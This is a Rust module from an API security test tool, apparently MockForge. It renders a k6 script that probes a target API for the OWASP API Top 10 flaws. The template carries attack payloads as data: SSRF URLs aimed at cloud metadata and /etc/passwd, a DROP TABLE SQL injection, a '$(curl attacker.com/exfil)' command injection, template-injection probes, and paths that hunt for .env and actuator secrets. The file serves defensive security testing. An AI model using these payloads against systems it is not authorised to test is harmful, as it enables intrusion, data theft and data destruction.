mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14use std::collections::HashMap;
15
16/// Generator for OWASP API security test scripts
17pub struct OwaspApiGenerator {
18    /// OWASP API configuration
19    config: OwaspApiConfig,
20    /// Target base URL
21    target_url: String,
22    /// Parsed OpenAPI operations
23    operations: Vec<OperationInfo>,
24}
25
26/// Information about an API operation
27#[derive(Debug, Clone)]
28pub struct OperationInfo {
29    /// HTTP method
30    pub method: String,
31    /// Path template (e.g., /users/{id})
32    pub path: String,
33    /// Operation ID
34    pub operation_id: Option<String>,
35    /// Path parameters
36    pub path_params: Vec<PathParam>,
37    /// Query parameters
38    pub query_params: Vec<QueryParam>,
39    /// Whether operation has request body
40    pub has_body: bool,
41    /// Content type
42    pub content_type: Option<String>,
43    /// Security requirements (if any)
44    pub requires_auth: bool,
45    /// Tags
46    pub tags: Vec<String>,
47}
48
49/// Path parameter info
50#[derive(Debug, Clone)]
51pub struct PathParam {
52    pub name: String,
53    pub param_type: String,
54    pub example: Option<String>,
55}
56
57/// Query parameter info
58#[derive(Debug, Clone)]
59pub struct QueryParam {
60    pub name: String,
61    pub param_type: String,
62    pub required: bool,
63}
64
65impl OwaspApiGenerator {
66    /// Create a new OWASP API generator
67    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
68        let operations = Self::extract_operations(parser);
69        Self {
70            config,
71            target_url,
72            operations,
73        }
74    }
75
76    /// Extract operations from the spec parser
77    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
78        parser
79            .get_operations()
80            .into_iter()
81            .map(|op| {
82                // Extract path parameters from the path
83                let path_params: Vec<PathParam> = op
84                    .path
85                    .split('/')
86                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
87                    .map(|segment| {
88                        let name = segment.trim_start_matches('{').trim_end_matches('}');
89                        PathParam {
90                            name: name.to_string(),
91                            param_type: "string".to_string(),
92                            example: None,
93                        }
94                    })
95                    .collect();
96
97                OperationInfo {
98                    method: op.method.to_uppercase(),
99                    path: op.path.clone(),
100                    operation_id: op.operation_id.clone(),
101                    path_params,
102                    query_params: Vec::new(),
103                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
104                    content_type: Some("application/json".to_string()),
105                    requires_auth: true, // Assume auth required by default
106                    tags: op.operation.tags.clone(),
107                }
108            })
109            .collect()
110    }
111
112    /// Generate the complete k6 security test script
113    pub fn generate(&self) -> Result<String> {
114        let mut handlebars = Handlebars::new();
115
116        // Register custom helpers
117        handlebars.register_helper("contains", Box::new(contains_helper));
118        handlebars.register_helper("eq", Box::new(eq_helper));
119
120        let template = self.get_script_template();
121        let data = self.build_template_data()?;
122
123        handlebars
124            .render_template(&template, &data)
125            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
126    }
127
128    /// Build template data for rendering
129    fn build_template_data(&self) -> Result<Value> {
130        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
131        let mut test_cases: Vec<Value> = Vec::new();
132
133        // Generate test cases for each category
134        for category in self.config.categories_to_test() {
135            let category_tests = self.generate_category_tests(category, &payload_generator)?;
136            test_cases.extend(category_tests);
137        }
138
139        // Pre-compute which categories are enabled for simple template conditionals
140        let categories = self.config.categories_to_test();
141        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
142        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
143        let test_api3 =
144            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
145        let test_api4 =
146            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
147        let test_api5 =
148            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
149        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
150        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
151        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
152        let test_api9 =
153            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
154        let test_api10 =
155            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
156
157        // Helper to prepend base_path to API paths
158        let base_path = self.config.base_path.clone().unwrap_or_default();
159        let build_path = |path: &str| -> String {
160            if base_path.is_empty() {
161                path.to_string()
162            } else {
163                format!("{}{}", base_path.trim_end_matches('/'), path)
164            }
165        };
166
167        // Pre-compute operations with path parameters for BOLA testing
168        let ops_with_path_params: Vec<Value> = self
169            .operations
170            .iter()
171            .filter(|op| op.path.contains('{'))
172            .map(|op| {
173                json!({
174                    "method": op.method.to_lowercase(),
175                    "path": build_path(&op.path),
176                })
177            })
178            .collect();
179
180        // Pre-compute GET operations for method override testing
181        let get_operations: Vec<Value> = self
182            .operations
183            .iter()
184            .filter(|op| op.method.to_lowercase() == "get")
185            .map(|op| {
186                json!({
187                    "method": op.method.to_lowercase(),
188                    "path": build_path(&op.path),
189                })
190            })
191            .collect();
192
193        // Escape auth header and token values for safe use in JavaScript strings
194        let auth_header_name = escape_js_string(&self.config.auth_header);
195        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
196
197        Ok(json!({
198            "base_url": self.target_url,
199            "auth_header_name": auth_header_name,
200            "valid_auth_token": valid_auth_token,
201            "concurrency": self.config.concurrency,
202            "iterations": self.config.iterations,
203            "timeout_ms": self.config.timeout_ms,
204            "report_path": self.config.report_path.to_string_lossy(),
205            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
206            "test_cases": test_cases,
207            "operations": self.operations.iter().map(|op| json!({
208                "method": op.method.to_lowercase(),
209                "path": build_path(&op.path),
210                "operation_id": op.operation_id,
211                "has_body": op.has_body,
212                "requires_auth": op.requires_auth,
213                "has_path_params": op.path.contains('{'),
214            })).collect::<Vec<_>>(),
215            "ops_with_path_params": ops_with_path_params,
216            "get_operations": get_operations,
217            "verbose": self.config.verbose,
218            "insecure": self.config.insecure,
219            // Category flags for simple conditionals
220            "test_api1": test_api1,
221            "test_api2": test_api2,
222            "test_api3": test_api3,
223            "test_api4": test_api4,
224            "test_api5": test_api5,
225            "test_api6": test_api6,
226            "test_api7": test_api7,
227            "test_api8": test_api8,
228            "test_api9": test_api9,
229            "test_api10": test_api10,
230        }))
231    }
232
233    /// Generate test cases for a specific category
234    fn generate_category_tests(
235        &self,
236        category: OwaspCategory,
237        payload_generator: &OwaspPayloadGenerator,
238    ) -> Result<Vec<Value>> {
239        let payloads = payload_generator.generate_for_category(category);
240        let mut tests = Vec::new();
241
242        for payload in payloads {
243            // Match payloads to appropriate operations
244            let applicable_ops = self.get_applicable_operations(&payload);
245
246            for op in applicable_ops {
247                tests.push(json!({
248                    "category": category.cli_name(),
249                    "category_name": category.short_name(),
250                    "description": payload.description,
251                    "method": op.method.to_lowercase(),
252                    "path": op.path,
253                    "payload": payload.value,
254                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
255                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
256                    "notes": payload.notes,
257                }));
258            }
259        }
260
261        Ok(tests)
262    }
263
264    /// Get operations applicable for a payload
265    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
266        match payload.injection_point {
267            InjectionPoint::PathParam => {
268                // Only operations with path parameters
269                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
270            }
271            InjectionPoint::Body => {
272                // Only operations that accept a body
273                self.operations.iter().filter(|op| op.has_body).collect()
274            }
275            InjectionPoint::Header | InjectionPoint::Omit => {
276                // All operations that require auth
277                self.operations.iter().filter(|op| op.requires_auth).collect()
278            }
279            InjectionPoint::QueryParam => {
280                // All operations (can add query params to any)
281                self.operations.iter().collect()
282            }
283            InjectionPoint::Modify => {
284                // Depends on payload - return all for now
285                self.operations.iter().collect()
286            }
287        }
288    }
289
290    /// Get the k6 script template
291    fn get_script_template(&self) -> String {
292        r#"// OWASP API Security Top 10 Test Script
293// Generated by MockForge - https://mockforge.dev
294// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
295
296import http from 'k6/http';
297import { check, sleep, group } from 'k6';
298import { Trend, Counter, Rate } from 'k6/metrics';
299
300// Configuration
301const BASE_URL = '{{{base_url}}}';
302const AUTH_HEADER = '{{{auth_header_name}}}';
303{{#if valid_auth_token}}
304const VALID_TOKEN = '{{{valid_auth_token}}}';
305{{else}}
306const VALID_TOKEN = null;
307{{/if}}
308const TIMEOUT = '{{timeout_ms}}ms';
309const VERBOSE = {{verbose}};
310const INSECURE = {{insecure}};
311
312// Custom metrics
313const findingsCounter = new Counter('owasp_findings');
314const testsRun = new Counter('owasp_tests_run');
315const vulnerableRate = new Rate('owasp_vulnerable_rate');
316const responseTime = new Trend('owasp_response_time');
317
318// Test options - use per-VU iterations scenario for controlled test runs
319export const options = {
320    scenarios: {
321        owasp_security_test: {
322            executor: 'per-vu-iterations',
323            vus: {{concurrency}},
324            iterations: {{iterations}},  // Iterations per VU
325            maxDuration: '30m',
326        },
327    },
328    thresholds: {
329        'owasp_findings': ['count<100'], // Alert if too many findings
330    },
331    insecureSkipTLSVerify: INSECURE,
332};
333
334// Findings storage
335const findings = [];
336
337// Helper: Log a finding
338function logFinding(category, endpoint, method, description, evidence) {
339    const finding = {
340        category,
341        endpoint,
342        method,
343        description,
344        evidence,
345        timestamp: new Date().toISOString(),
346    };
347    findings.push(finding);
348    findingsCounter.add(1);
349    vulnerableRate.add(1);
350
351    if (VERBOSE) {
352        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
353    }
354}
355
356// Helper: Log test passed
357function logPass(category, endpoint, method) {
358    vulnerableRate.add(0);
359    if (VERBOSE) {
360        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
361    }
362}
363
364// Helper: Generate a random UUID for path parameters
365// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
366function generateRandomId() {
367    return crypto.randomUUID();
368}
369
370// Helper: Replace path parameters with random UUIDs
371// Replaces all {param} patterns with new random UUIDs
372function replacePathParams(path) {
373    return path.replace(/{[^}]+}/g, () => generateRandomId());
374}
375
376// Helper: Make authenticated request
377function authRequest(method, url, body, additionalHeaders = {}) {
378    const headers = {
379        'Content-Type': 'application/json',
380        ...additionalHeaders,
381    };
382
383    if (VALID_TOKEN) {
384        headers[AUTH_HEADER] = VALID_TOKEN;
385    }
386
387    const params = {
388        headers,
389        timeout: TIMEOUT,
390    };
391
392    // k6 uses 'del' instead of 'delete'
393    const httpMethod = method === 'delete' ? 'del' : method;
394
395    if (httpMethod === 'get' || httpMethod === 'head') {
396        return http[httpMethod](url, params);
397    } else {
398        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
399    }
400}
401
402// Helper: Make unauthenticated request
403function unauthRequest(method, url, body, additionalHeaders = {}) {
404    const headers = {
405        'Content-Type': 'application/json',
406        ...additionalHeaders,
407    };
408
409    const params = {
410        headers,
411        timeout: TIMEOUT,
412    };
413
414    // k6 uses 'del' instead of 'delete'
415    const httpMethod = method === 'delete' ? 'del' : method;
416
417    if (httpMethod === 'get' || httpMethod === 'head') {
418        return http[httpMethod](url, params);
419    } else {
420        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
421    }
422}
423
424// API1: Broken Object Level Authorization (BOLA)
425function testBola() {
426    group('API1 - BOLA', function() {
427        console.log('[API1] Testing Broken Object Level Authorization...');
428
429        {{#each operations}}
430        {{#if has_path_params}}
431        // Test {{path}}
432        {
433            // Generate different random UUIDs for each test
434            const originalId = generateRandomId();
435            const targetId = generateRandomId();
436            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
437            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
438
439            if (VERBOSE) {
440                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
441            }
442
443            // Get baseline with first random ID
444            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
445
446            // Try to access different random ID (simulating another user's resource)
447            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
448            testsRun.add(1);
449            responseTime.add(response.timings.duration);
450
451            if (response.status >= 200 && response.status < 300) {
452                // Check if we got different data (potential BOLA vulnerability)
453                if (response.body !== baseline.body && response.body.length > 0) {
454                    logFinding('api1', '{{path}}', '{{method}}',
455                        'ID manipulation accepted - accessed different resource',
456                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
457                } else {
458                    logPass('api1', '{{path}}', '{{method}}');
459                }
460            } else {
461                logPass('api1', '{{path}}', '{{method}}');
462            }
463        }
464        {{/if}}
465        {{/each}}
466    });
467}
468
469// API2: Broken Authentication
470function testBrokenAuth() {
471    group('API2 - Broken Authentication', function() {
472        console.log('[API2] Testing Broken Authentication...');
473
474        {{#each operations}}
475        {{#if requires_auth}}
476        // Test {{path}} without auth
477        {
478            const testPath = replacePathParams('{{path}}');
479            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
480            testsRun.add(1);
481            responseTime.add(response.timings.duration);
482
483            if (response.status >= 200 && response.status < 300) {
484                logFinding('api2', '{{path}}', '{{method}}',
485                    'Endpoint accessible without authentication',
486                    { status: response.status });
487            } else {
488                logPass('api2', '{{path}}', '{{method}}');
489            }
490        }
491
492        // Test {{path}} with empty token
493        {
494            const testPath = replacePathParams('{{path}}');
495            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
496            const makeEmptyTokenRequest = (m, url, body, params) => {
497                if (m === 'get' || m === 'head') return http[m](url, params);
498                return http[m](url, body, params);
499            };
500            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
501                headers: { [AUTH_HEADER]: 'Bearer ' },
502                timeout: TIMEOUT,
503            });
504            testsRun.add(1);
505
506            if (response.status >= 200 && response.status < 300) {
507                logFinding('api2', '{{path}}', '{{method}}',
508                    'Endpoint accessible with empty Bearer token',
509                    { status: response.status });
510            }
511        }
512        {{/if}}
513        {{/each}}
514    });
515}
516
517// API3: Broken Object Property Level Authorization (Mass Assignment)
518function testMassAssignment() {
519    group('API3 - Mass Assignment', function() {
520        console.log('[API3] Testing Mass Assignment...');
521
522        const massAssignmentPayloads = [
523            { role: 'admin' },
524            { is_admin: true },
525            { isAdmin: true },
526            { permissions: ['admin', 'write', 'delete'] },
527            { verified: true },
528            { email_verified: true },
529            { balance: 999999 },
530        ];
531
532        {{#each operations}}
533        {{#if has_body}}
534        // Test {{path}}
535        {
536            const testPath = replacePathParams('{{path}}');
537            massAssignmentPayloads.forEach(payload => {
538                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
539                testsRun.add(1);
540                responseTime.add(response.timings.duration);
541
542                if (response.status >= 200 && response.status < 300) {
543                    // Check if unauthorized field appears in response
544                    const responseBody = response.body.toLowerCase();
545                    const payloadKey = Object.keys(payload)[0].toLowerCase();
546
547                    if (responseBody.includes(payloadKey)) {
548                        logFinding('api3', '{{path}}', '{{method}}',
549                            `Mass assignment accepted: ${payloadKey}`,
550                            { status: response.status, payload });
551                    } else {
552                        logPass('api3', '{{path}}', '{{method}}');
553                    }
554                }
555            });
556        }
557        {{/if}}
558        {{/each}}
559    });
560}
561
562// API4: Unrestricted Resource Consumption
563function testResourceConsumption() {
564    group('API4 - Resource Consumption', function() {
565        console.log('[API4] Testing Resource Consumption...');
566
567        {{#each operations}}
568        // Test {{path}} with excessive limit
569        {
570            const testPath = replacePathParams('{{path}}');
571            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
572            const response = authRequest('{{method}}', url, null);
573            testsRun.add(1);
574            responseTime.add(response.timings.duration);
575
576            // Check for rate limit headers
577            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
578                                response.headers['x-ratelimit-limit'] ||
579                                response.headers['RateLimit-Limit'];
580
581            if (response.status === 429) {
582                logPass('api4', '{{path}}', '{{method}}');
583            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
584                logFinding('api4', '{{path}}', '{{method}}',
585                    'No rate limiting detected',
586                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
587            } else {
588                logPass('api4', '{{path}}', '{{method}}');
589            }
590        }
591        {{/each}}
592    });
593}
594
595// API5: Broken Function Level Authorization
596function testFunctionAuth() {
597    group('API5 - Function Authorization', function() {
598        console.log('[API5] Testing Function Level Authorization...');
599
600        const adminPaths = [
601            '/admin',
602            '/admin/users',
603            '/admin/settings',
604            '/api/admin',
605            '/internal',
606            '/management',
607        ];
608
609        adminPaths.forEach(path => {
610            const response = authRequest('get', BASE_URL + path, null);
611            testsRun.add(1);
612            responseTime.add(response.timings.duration);
613
614            if (response.status >= 200 && response.status < 300) {
615                logFinding('api5', path, 'GET',
616                    'Admin endpoint accessible',
617                    { status: response.status });
618            } else if (response.status === 403 || response.status === 401) {
619                logPass('api5', path, 'GET');
620            }
621        });
622
623        // Also test changing methods on read-only endpoints
624        {{#each get_operations}}
625        {
626            const testPath = replacePathParams('{{path}}');
627            const response = authRequest('delete', BASE_URL + testPath, null);
628            testsRun.add(1);
629
630            if (response.status >= 200 && response.status < 300) {
631                logFinding('api5', '{{path}}', 'DELETE',
632                    'DELETE method allowed on read-only endpoint',
633                    { status: response.status });
634            }
635        }
636        {{/each}}
637    });
638}
639
640// API7: Server Side Request Forgery (SSRF)
641function testSsrf() {
642    group('API7 - SSRF', function() {
643        console.log('[API7] Testing Server Side Request Forgery...');
644
645        const ssrfPayloads = [
646            'http://localhost/',
647            'http://127.0.0.1/',
648            'http://169.254.169.254/latest/meta-data/',
649            'http://[::1]/',
650            'file:///etc/passwd',
651        ];
652
653        {{#each operations}}
654        {{#if has_body}}
655        // Test {{path}} with SSRF payloads
656        {
657            const testPath = replacePathParams('{{path}}');
658            ssrfPayloads.forEach(payload => {
659                const body = {
660                    url: payload,
661                    webhook_url: payload,
662                    callback: payload,
663                    image_url: payload,
664                };
665
666                const response = authRequest('{{method}}', BASE_URL + testPath, body);
667                testsRun.add(1);
668                responseTime.add(response.timings.duration);
669
670                if (response.status >= 200 && response.status < 300) {
671                    // Check for indicators of internal access
672                    const bodyLower = response.body.toLowerCase();
673                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
674
675                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
676                        logFinding('api7', '{{path}}', '{{method}}',
677                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
678                            { status: response.status, payload });
679                    }
680                }
681            });
682        }
683        {{/if}}
684        {{/each}}
685    });
686}
687
688// API8: Security Misconfiguration
689function testMisconfiguration() {
690    group('API8 - Security Misconfiguration', function() {
691        console.log('[API8] Testing Security Misconfiguration...');
692
693        {{#each operations}}
694        // Test {{path}} for security headers
695        {
696            const testPath = replacePathParams('{{path}}');
697            const response = authRequest('{{method}}', BASE_URL + testPath, null);
698            testsRun.add(1);
699            responseTime.add(response.timings.duration);
700
701            const missingHeaders = [];
702
703            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
704                missingHeaders.push('X-Content-Type-Options');
705            }
706            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
707                missingHeaders.push('X-Frame-Options');
708            }
709            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
710                missingHeaders.push('Strict-Transport-Security');
711            }
712
713            // Check for overly permissive CORS
714            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
715            if (acao === '*') {
716                logFinding('api8', '{{path}}', '{{method}}',
717                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
718                    { status: response.status });
719            }
720
721            if (missingHeaders.length > 0) {
722                logFinding('api8', '{{path}}', '{{method}}',
723                    `Missing security headers: ${missingHeaders.join(', ')}`,
724                    { status: response.status, missingHeaders });
725            }
726        }
727        {{/each}}
728
729        // Test for verbose errors
730        {{#each operations}}
731        {{#if has_body}}
732        {
733            const testPath = replacePathParams('{{path}}');
734            const malformedBody = '{"invalid": "json';
735            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
736                headers: { 'Content-Type': 'application/json' },
737                timeout: TIMEOUT,
738            });
739            testsRun.add(1);
740
741            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
742            const bodyLower = response.body.toLowerCase();
743
744            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
745                logFinding('api8', '{{path}}', '{{method}}',
746                    'Verbose error messages exposed',
747                    { status: response.status });
748            }
749        }
750        {{/if}}
751        {{/each}}
752    });
753}
754
755// API9: Improper Inventory Management
756function testInventory() {
757    group('API9 - Inventory Management', function() {
758        console.log('[API9] Testing Improper Inventory Management...');
759
760        const discoveryPaths = [
761            '/swagger',
762            '/swagger-ui',
763            '/swagger.json',
764            '/api-docs',
765            '/openapi',
766            '/openapi.json',
767            '/graphql',
768            '/graphiql',
769            '/debug',
770            '/actuator',
771            '/actuator/health',
772            '/actuator/env',
773            '/metrics',
774            '/.env',
775            '/config',
776        ];
777
778        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
779
780        discoveryPaths.forEach(path => {
781            const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
782            testsRun.add(1);
783            responseTime.add(response.timings.duration);
784
785            if (response.status !== 404) {
786                logFinding('api9', path, 'GET',
787                    `Undocumented endpoint discovered (HTTP ${response.status})`,
788                    { status: response.status });
789            }
790        });
791
792        // Check for old API versions
793        apiVersions.forEach(version => {
794            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
795            testsRun.add(1);
796
797            if (response.status !== 404) {
798                logFinding('api9', '/' + version + '/', 'GET',
799                    `API version endpoint exists (HTTP ${response.status})`,
800                    { status: response.status });
801            }
802        });
803    });
804}
805
806// API10: Unsafe Consumption of APIs
807function testUnsafeConsumption() {
808    group('API10 - Unsafe Consumption', function() {
809        console.log('[API10] Testing Unsafe Consumption...');
810
811        const injectionPayloads = [
812            { external_id: "'; DROP TABLE users;--" },
813            { integration_data: "$(curl attacker.com/exfil)" },
814            { template: "\{{7*7}}" },
815            { webhook_url: "http://127.0.0.1:8080/internal" },
816        ];
817
818        {{#each operations}}
819        {{#if has_body}}
820        // Test {{path}} with injection payloads
821        {
822            const testPath = replacePathParams('{{path}}');
823            injectionPayloads.forEach(payload => {
824                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
825                testsRun.add(1);
826                responseTime.add(response.timings.duration);
827
828                // Check if payload was processed (e.g., SSTI returning 49)
829                if (response.body.includes('49')) {
830                    logFinding('api10', '{{path}}', '{{method}}',
831                        'Server-side template injection detected',
832                        { status: response.status, payload });
833                }
834            });
835        }
836        {{/if}}
837        {{/each}}
838    });
839}
840
841// Main test function
842export default function() {
843    console.log('Starting OWASP API Top 10 Security Scan...');
844    console.log('Target: ' + BASE_URL);
845    console.log('');
846
847    {{#if test_api1}}
848    testBola();
849    {{/if}}
850    {{#if test_api2}}
851    testBrokenAuth();
852    {{/if}}
853    {{#if test_api3}}
854    testMassAssignment();
855    {{/if}}
856    {{#if test_api4}}
857    testResourceConsumption();
858    {{/if}}
859    {{#if test_api5}}
860    testFunctionAuth();
861    {{/if}}
862    {{#if test_api7}}
863    testSsrf();
864    {{/if}}
865    {{#if test_api8}}
866    testMisconfiguration();
867    {{/if}}
868    {{#if test_api9}}
869    testInventory();
870    {{/if}}
871    {{#if test_api10}}
872    testUnsafeConsumption();
873    {{/if}}
874
875    sleep(0.1);
876}
877
878// Teardown: Output results
879export function teardown(data) {
880    console.log('');
881    console.log('='.repeat(50));
882    console.log('OWASP API Top 10 Scan Complete');
883    console.log('='.repeat(50));
884    console.log('Total findings: ' + findings.length);
885
886    if (findings.length > 0) {
887        console.log('');
888        console.log('Findings by category:');
889        const byCategory = {};
890        findings.forEach(f => {
891            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
892        });
893        Object.entries(byCategory).forEach(([cat, count]) => {
894            console.log('  ' + cat + ': ' + count);
895        });
896    }
897
898    // Write JSON report
899    console.log('');
900    console.log('Report written to: {{report_path}}');
901}
902"#.to_string()
903    }
904}
905
906/// Handlebars helper to check if a string contains a substring
907fn contains_helper(
908    h: &handlebars::Helper,
909    _: &Handlebars,
910    _: &handlebars::Context,
911    _: &mut handlebars::RenderContext,
912    out: &mut dyn handlebars::Output,
913) -> handlebars::HelperResult {
914    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
915    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
916    let result = param1.contains(param2);
917    out.write(&result.to_string())?;
918    Ok(())
919}
920
921/// Handlebars helper to check equality
922fn eq_helper(
923    h: &handlebars::Helper,
924    _: &Handlebars,
925    _: &handlebars::Context,
926    _: &mut handlebars::RenderContext,
927    out: &mut dyn handlebars::Output,
928) -> handlebars::HelperResult {
929    let param1 = h.param(0).map(|v| v.value());
930    let param2 = h.param(1).map(|v| v.value());
931    let result = param1 == param2;
932    out.write(&result.to_string())?;
933    Ok(())
934}
935
936#[cfg(test)]
937mod tests {
938    use super::*;
939
940    #[test]
941    fn test_generator_creation() {
942        // This would need a mock SpecParser
943        // For now just test that the template is valid
944        let template = r#"
945        {{#each operations}}
946        // {{method}} {{path}}
947        {{/each}}
948        "#;
949
950        let handlebars = Handlebars::new();
951        let data = json!({
952            "operations": [
953                { "method": "GET", "path": "/users" },
954                { "method": "POST", "path": "/users" },
955            ]
956        });
957
958        let result = handlebars.render_template(template, &data);
959        assert!(result.is_ok());
960    }
961
962    #[test]
963    fn test_script_template_renders() {
964        let config = OwaspApiConfig::default()
965            .with_categories([OwaspCategory::Api1Bola])
966            .with_valid_auth_token("Bearer test123");
967
968        let template = r#"
969const AUTH = '{{auth_header_name}}';
970const TOKEN = '{{valid_auth_token}}';
971{{#each categories_tested}}
972// Testing: {{this}}
973{{/each}}
974        "#;
975
976        let handlebars = Handlebars::new();
977        let data = json!({
978            "auth_header_name": config.auth_header,
979            "valid_auth_token": config.valid_auth_token,
980            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
981        });
982
983        let result = handlebars.render_template(template, &data).unwrap();
984        assert!(result.contains("Authorization"));
985        assert!(result.contains("Bearer test123"));
986        assert!(result.contains("api1"));
987    }
988}